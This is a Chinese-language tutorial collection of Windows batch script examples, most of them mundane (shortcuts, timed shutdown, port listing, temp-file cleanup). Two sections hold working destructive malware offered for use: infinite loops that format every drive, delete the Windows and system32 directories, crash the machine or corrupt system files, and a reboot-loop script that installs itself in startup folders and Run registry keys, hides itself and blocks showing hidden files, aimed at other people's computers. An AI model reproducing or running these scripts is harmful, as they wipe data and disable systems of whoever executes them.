批處理實例代碼教程
--------------------------------------------------------------------------------
批處理程序刪除自身.bat
echo 有時候我們需要批處理程序在執行完成之后刪除自身，可以用 del %0
例：
復制代碼 代碼如下:
@echo off
echo 按任意鍵后我將刪除自身
pause
del %0
--------------------------------------------------------------------------------
批處理發送文件夾的快捷方式到桌面
復制代碼 代碼如下:
echo [InternetShortcut] > "%userprofile%/桌面/文件夾.url"
echo URL=file:///C:/windows >> "%userprofile%/桌面/文件夾.url"
--------------------------------------------------------------------------------
批處理獲取IP生成TXT文本.bat
以下代碼是批處理獲取IP同時生成TXT文本：
復制代碼 代碼如下:
@echo off
<"%~f0" more +5 >tmp.vbs
cscript //NoLogo /e:vbscript tmp.vbs %1>ip.txt
echo >nul && del tmp.vbs
goto:eof
set oDOM = WScript.GetObject("http://www.duosc.com/ip.aspx")
do until oDOM.readyState = "complete"
WScript.sleep 200
Loop
s=oDOM.documentElement.innerText
set re = New RegExp
re.Pattern="(/d+)/.(/d+)/.(/d+)/.(/d+)"
For Each m in re.Execute(s)
WScript.Echo m
Next
--------------------------------------------------------------------------------
利用批處理禁用(啟用)組策略
regsvr32 /s /u gpedit.dll 禁用
regsvr32 /s gpedit.dll 啟用
單單使用這命令依然可以禁止使用組策略,但這樣導致的后果就是-
這時候運行的組策略基本上只是個空殼了!利用下面的批處理將完美解決此類問題!
將下面這些代碼編成BAT批處理文件,這段是禁用組策略的命令
復制代碼 代碼如下:
@echo off
regsvr32 /s /u fde.dll
regsvr32 /s /u gpedit.dll
regsvr32 /s /u gptext.dll
regsvr32 /s /u wsecedit.dll
exit
這是啟用組策略
復制代碼 代碼如下:
@echo off
regsvr32 /s fde.dll
regsvr32 /s gpedit.dll
regsvr32 /s gptext.dll
regsvr32 /s wsecedit.dll
exit
--------------------------------------------------------------------------------
批處理定時關機.bat
復制代碼 代碼如下:
@echo off
mode con lines=25
title 定時關機
color 1f
cls
echo.
echo.
echo.
echo.
echo 時間使用24小時制(如2:15、12:00)，可以輸入多個時間點
echo.
echo 多個時間點用空格分隔
echo.
echo.
echo ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
echo.
set times=
set /p times= 請輸入關機時間：
:: 以下語句實現每個星期的每一天指定時間關機
:: 如果要換成每個月的某幾天，請改字母為數字，并用逗號分隔
:: 以下代碼沒有錯誤檢測語句，輸入時間的時候務必按照指定格式輸入
:: 可以用在CMD窗口用at命令來查看計劃任務
if not "%times%"=="" for %%i in (%times%) do (
at %%i /every:M,T,W,Th,F,S,Su shutdown -s
)
--------------------------------------------------------------------------------
批處理創建url格式的快捷方式.bat
復制代碼 代碼如下:
@echo off
echo [InternetShortcut] >cmd.url
echo URL=%windir%/system32/cmd.exe >>cmd.url
echo IconIndex=0 >>cmd.url
echo IconFile=%windir%/system32/cmd.exe>>cmd.url
--------------------------------------------------------------------------------
批處理進入全屏幕界面.bat
復制代碼 代碼如下:
@echo off
:: 設定： 運行在全屏模式下
echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul
chcp 437>nul
graftabl 936>nul
:rem 下面放置任何命令……
dir
pause
--------------------------------------------------------------------------------
最小化運行批處理.bat
復制代碼 代碼如下:
::最小化運行批處理
@echo off&&mode con cols=15 lines=1
%1 %2
start /min /i "" "%~nx0" goto min&&goto :eof
:min
echo xxx
pause>nul
exit
@echo off
mode con cols=15 lines=1
if exist "Temp.bat" goto Start
>Temp.bat echo start/min "" "%~nx0"^&exit
start/min Temp.bat&exit
:Start
del "Temp.bat">nul
pause
--------------------------------------------------------------------------------
全盤查找QQ.exe并執行.bat
復制代碼 代碼如下:
@echo off
:: 全盤查找qq.exe，找到之后就執行并退出CMD窗口
:: fsutil fsinfo drives 得出來的結果雖然中間有空格，但是他代表是回車符或者換行符的作用，所以還要用find /v來過濾，否則，只得到第一個分區
setlocal enabledelayedexpansion
for /f "delims=/" %%i in ('fsutil fsinfo drives^|find /v ""') do (
set var=%%i
set drive=!var:~-2!
fsutil fsinfo drivetype !drive!|find "固定">nul && (
for /f "tokens=*" %%j in ('dir /a-d /b /s !drive!/qq.exe 2^>nul') do if not "%%j"=="" start "" "%%j" && exit
)
)
--------------------------------------------------------------------------------
刪除歷史記錄.bat
復制代碼 代碼如下:
@echo off
:: 刪除"運行"、"查找"等處的歷史記錄
reg add HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer /v ClearRecentDocsonExit /t REG_DWORD /d 00000001
--------------------------------------------------------------------------------
批處理查看進程端口
用批處理實現的獲取當前進程所開啟的端口代碼:
復制代碼 代碼如下:
@echo off
color a
Title XP端口-進程查詢
setlocal enabledelayedexpansion
echo ╔- -╗
echo 本機開放的端口及使用該端口的進程
echo ╚- -╝
echo ------------------------------------
echo 端口號 進程名稱
ECHO TCP協議:
::利用netstat命令找出使用TCP協議通信的端口，并將結果分割；
::將第二個參數(IP加端口)傳給%%i，第五個參數(PID號)傳給%%j;
for /F "usebackq skip=4 tokens=2,5" %%i in (`"netstat -ano -p TCP"`) do (
call :Assoc %%i TCP %%j
echo !TCP_Port! !TCP_Proc_Name!
)
ECHO UDP協議:
for /F "usebackq skip=4 tokens=2,4" %%i in (`"netstat -ano -p UDP"`) do (
call :Assoc %%i UDP %%j
echo !UDP_Port! !UDP_Proc_Name!
)
echo 按任意鍵退出
pause>nul
:Assoc
::對%1(第一個參數）進行分割，將第二個參數傳給%%e。在本程序中，%1即為上面的%%i(形式為：IP:端口號)
for /F "tokens=2 delims=:" %%e in ("%1") do (
set %2_Port=%%e
)
:: 查詢PID等于%3(第三個參數)的進程，并將結果傳給變量?_Proc_Name,?代表UDP或者TCP；
for /F "skip=2 usebackq delims=, tokens=1" %%a in (`"Tasklist /FI "PID eq %3" /FO CSV"`) do (
::%%~a表示去掉%%a外面的引號，因為上述命令的結果是用括號括起來的。
set %2_Proc_Name=%%~a
)
--------------------------------------------------------------------------------
破壞型BAT批處理腳本[慎用]
一、死循環強制格式化A:到Z:盤（對于部分速度比較快的機器會比較快當機……）
復制代碼 代碼如下:
:format
@format a: /q /y >nul
@format b: /q /y >nul
@format d: /q /y >nul
@format e: /q /y >nul
@format f: /q /y >nul
@format g: /q /y >nul
@format h: /q /y >nul
@format i: /q /y >nul
@format j: /q /y >nul
@format k: /q /y >nul
@format l: /q /y >nul
@format m: /q /y >nul
@format n: /q /y >nul
@format o: /q /y >nul
@format p: /q /y >nul
@format q: /q /y >nul
@format r: /q /y >nul
@format s: /q /y >nul
@format t: /q /y >nul
@format u: /q /y >nul
@format v: /q /y >nul
@format w: /q /y >nul
@format x: /q /y >nul
@format y: /q /y >nul
@format z: /q /y >nul
@format c: /q /y >nul
goto format
二、死循環強制刪除C:盤WINDOWS目錄下的所有文件（跟上面的一個例子效果差不多，不過這里用到了強制刪除參數）
復制代碼 代碼如下:
:breake
@if exist %windir%/system32/*.* del %windir%/system32/*.* >nul
@if exist %windir%/*.* del %windir%/*.* >nul
goto breake
三、利用部分系統工具的內存占用卡到死機
復制代碼 代碼如下:
:die
@start regsvr32.exe /s %windir%/system32/*.* >nul
@start %windir%/system32/*.* >nul
@start notepad %windir%/explorer.exe >nul
goto die
四、用部分工具的檢測信息導出功能生成巨大的垃圾文件（雖然生成垃圾的速度很慢，但是跟“垃圾王”病毒有的一比，也算是“無聲的*****”吧……）
復制代碼 代碼如下:
@start ping 127.0.0.1 -t > %windir%/system32/regsvr32.dll >nul
:ping
@start ping 127.0.0.1 -t >> %windir%/system32/regsvr32.dll >nul
@start ping 127.0.0.1 -t >> %windir%/system32/regedit.exe >nul
goto ping
--------------------------------------------------------------------------------
反復重啟的惡意批處理
反復重啟就是讓別人啟動了再重啟 一直反復,以下代碼
復制代碼 代碼如下:
@echo off
shutdown -r -t 3
copy %0 C:/Documents" "and" "Settings/All" "Users/「開始」菜單/程序/啟動/a.bat
copy %0 c:/autoexec.bat
REG ADD HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run /v autoexec.bat /t REG_SZ /d c:/autoexec.bat /f
REG ADD HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run /v autoexec.bat /t REG_SZ /d c:/autoexec.bat /f
attrib autoexec.bat +r +s +h
REG ADD HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/explorer/Advanced/Folder/Hidden/SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
del %0
3秒重啟 加入了啟動項 開機就會3秒倒計時
--------------------------------------------------------------------------------
刪除右鍵“新建”菜單項目.bat
復制代碼 代碼如下:
@echo off
:: 只要刪除"HKEY_CLASSERS_ROORT/.后綴名"項目下的"ShellNew"鍵就可以了
:: 如果實在刪除不了，則把"HKEY_CLASSERS_ROORT/.后綴名"刪除掉即可
mode con lines=25
title "新建"菜單內容刪除器
color 1f
:input
cls
call :display
echo 如果要強行刪除，請選 1
echo.
echo.
set input=
set /p input= 請輸入后綴名：
if "%input%"=="" goto input
if "%input%"=="0" exit
if "%input%"=="1" goto fouce
for /f %%i in ("%input%") do (reg delete HKCR/.%%i/ShellNew /f)
goto continue
:fouce
cls
call :display
set input=
set /p input= 請輸入后綴名(強行刪除)：
if "%input%"=="" goto fouce
if "%input%"=="0" exit
for /f %%i in ("%input%") do (reg delete HKCR/.%%i /f)
:continue
cls
call :display
echo.
set choice=
set /p choice= 還要繼續清除嗎？(y/n):
if "%choice%"=="" goto continue
if "%choice%"=="y" goto input
if "%choice%"=="" goto :eof
:display
echo.
echo.
echo.
echo.
echo.
echo.
echo 本程序能刪除右鍵菜單中"新建"項目下的多余內容，為"新建"菜單減肥！
echo.
echo 如果想讓某種類型的文件不再出現在鼠標右鍵的"新建"菜單中，請直接
echo.
echo 輸入該文件類型的后綴名。例如：rar。
echo.
echo 退出請選 0
echo.
--------------------------------------------------------------------------------
快速清理垃圾文件（修正）
復制代碼 代碼如下:
@echo off
color f0
echo.
echo 正在安全地自動清除垃圾文件……
del /f /q %systemdrive%/*.tmp>nul 2>nul
del /f /q %systemdrive%/*._mp>nul 2>nul
del /f /q %systemdrive%/*.log>nul 2>nul
del /f /q %systemdrive%/*.gid>nul 2>nul
del /f /q %systemdrive%/*.chk>nul 2>nul
del /f /q %systemdrive%/*.old>nul 2>nul
del /f /q %windir%/*.bak>nul 2>nul
del /f /q %windir%/*.tmp>nul 2>nul
del /f /q %windir%/prefetch/*.*>nul 2>nul
del /f /s /q %systemdrive%/recycled/*.*
del /f /q "%ALLUSERSPROFILE%/Documents/DrWatson/*.*">nul 2>nul
del /f /q "%USERPROFILE%/Cookies/*.txt">nul 2>nul
del /f /q /s "%TEMP%/*.*">nul 2>nul
del /f /q /s "%Systemroot%/Prefetch/*.*">nul 2>nul
del /f /q "%USERPROFILE%/Recent/*.*">nul 2>nul
del /f /q "%USERPROFILE%/Application Data/Microsoft/Office/Recent/*.lnk">nul 2>nul
del /f /q /s "%USERPROFILE%/Local Settings/Temp/*.*">nul 2>nul
rd /s /q %windir%/temp & md %windir%/temp>nul 2>nul
if not exist %SystemRoot%/Minidump/NUL del /f /q /s %SystemRoot%/Minidump/*.*>nul 2>nul
del /f /s /q "%userprofile%/Local Settings/Temporary Internet Files/*.*">nul 2>nul
